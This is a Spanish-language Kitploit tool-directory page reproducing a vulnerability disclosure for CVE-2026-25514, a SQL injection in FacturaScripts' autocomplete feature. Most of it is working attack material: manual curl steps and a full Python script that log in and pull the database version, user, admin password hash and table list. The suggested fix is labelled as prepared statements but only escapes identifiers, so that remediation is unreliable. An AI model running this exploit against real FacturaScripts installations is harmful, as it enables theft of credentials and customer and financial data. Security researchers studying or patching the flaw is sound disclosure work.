Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts tiene una Inyección SQL en las Acciones de Autocompletado | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2026-25514
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts tiene una Inyección SQL en las Acciones de Autocompletado

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25514: FacturaScripts tiene inyección SQL en las acciones de autocompletado

Descripción general

CampoDetalles
ID CVECVE-2026-25514
GravedadALTA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • facturascripts/facturascripts (versiones: < 2025.81)

Clasificación CWE

  • CWE-20: Validación de entrada incorrecta
  • CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL')
  • CWE-943: Neutralización incorrecta de elementos especiales en la lógica de consulta de datos

Detalles

Resumen

FacturaScripts contiene una vulnerabilidad crítica de inyección SQL en la funcionalidad de autocompletado que permite a atacantes autenticados extraer datos sensibles de la base de datos, incluyendo credenciales de usuario, ajustes de configuración y todos los datos de negocio almacenados. La vulnerabilidad existe en el método CodeModel::all() donde los parámetros proporcionados por el usuario se concatenan directamente en consultas SQL sin saneamiento ni enlaces parametrizados.


Detalles

Múltiples controladores en FacturaScripts, incluyendo CopyModel, ListController y PanelController, implementan una acción de autocompletado que procesa la entrada del usuario a través de los métodos CodeModel::search() o CodeModel::all(). Estos métodos construyen consultas SQL concatenando directamente parámetros controlados por el usuario sin ninguna validación o escape.

Ubicación del código vulnerable

Archivo: /Core/Model/CodeModel.php Método: all() Líneas: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Parámetros vulnerables

Los siguientes parámetros son vulnerables a inyección SQL:

  1. source → Se asigna a $tableName - Inyección en el nombre de la tabla
  2. fieldcode → Se asigna a $fieldCode - Inyección en el nombre de la columna
  3. fieldtitle → Se asigna a $fieldDescription - Inyección en el nombre de la columna (Vector de ataque principal)

Flujo del ataque

  1. El atacante se autentica con credenciales válidas (cualquier rol de usuario)
  2. El atacante envía una solicitud POST a /CopyModel con action=autocomplete
  3. Se inyectan funciones/consultas SQL maliciosas a través del parámetro fieldtitle
  4. La aplicación ejecuta el SQL inyectado y devuelve los resultados en formato JSON
  5. El atacante extrae datos sensibles de la base de datos

Prueba de concepto (PoC)

Requisitos previos

  • Credenciales de autenticación válidas (admin/admin en la instancia de prueba)
  • Acceso a la interfaz web de FacturaScripts

Explotación manual paso a paso (CLI)

Dado que FacturaScripts utiliza MultiRequestProtection, se requiere un multireqtoken válido para cada solicitud POST.

1. Obtener el token inicial y la cookie de sesión: FacturaScripts redirige / a /login, por lo que usamos -L para seguir las redirecciones y -c para guardar la cookie de sesión.

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Autenticarse (Iniciar sesión): Usa la cookie guardada y el token para iniciar sesión.

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extraer la versión de la base de datos: Obtén un token nuevo para la siguiente solicitud y ejecuta la inyección.

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extraer el usuario y el nombre de la base de datos:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extraer el hash de la contraseña del administrador:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Script de explotación automatizada

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
image

Impacto

Esta vulnerabilidad de inyección SQL tiene un impacto CRÍTICO:

Confidencialidad de los datos

  • Divulgación completa de la base de datos - El atacante puede extraer todos los datos, incluyendo:
    • Credenciales de usuario (hashes de contraseñas)
    • Información de clientes (nombres, direcciones, números de identificación fiscal, etc.)
    • Registros financieros (facturas, pagos, datos bancarios)
    • Lógica de negocio y datos de configuración
    • Ajustes de plugins y del sistema

¿Quiénes están afectados?

  • Todas las instalaciones de FacturaScripts que ejecuten versiones vulnerables
  • Todos los usuarios autenticados pueden explotarlo (no solo administradores)
  • Empresas que usan FacturaScripts para contabilidad/facturación
  • Clientes cuyos datos están almacenados en el sistema

Corrección recomendada

Remediación inmediata

Opción 1: Usar sentencias preparadas

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Créditos

Descubierto por: Łukasz Rybak

Referencias

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

Aviso legal

Este CVE fue divulgado de forma responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí es solo con fines educativos y defensivos.

Descargar herramienta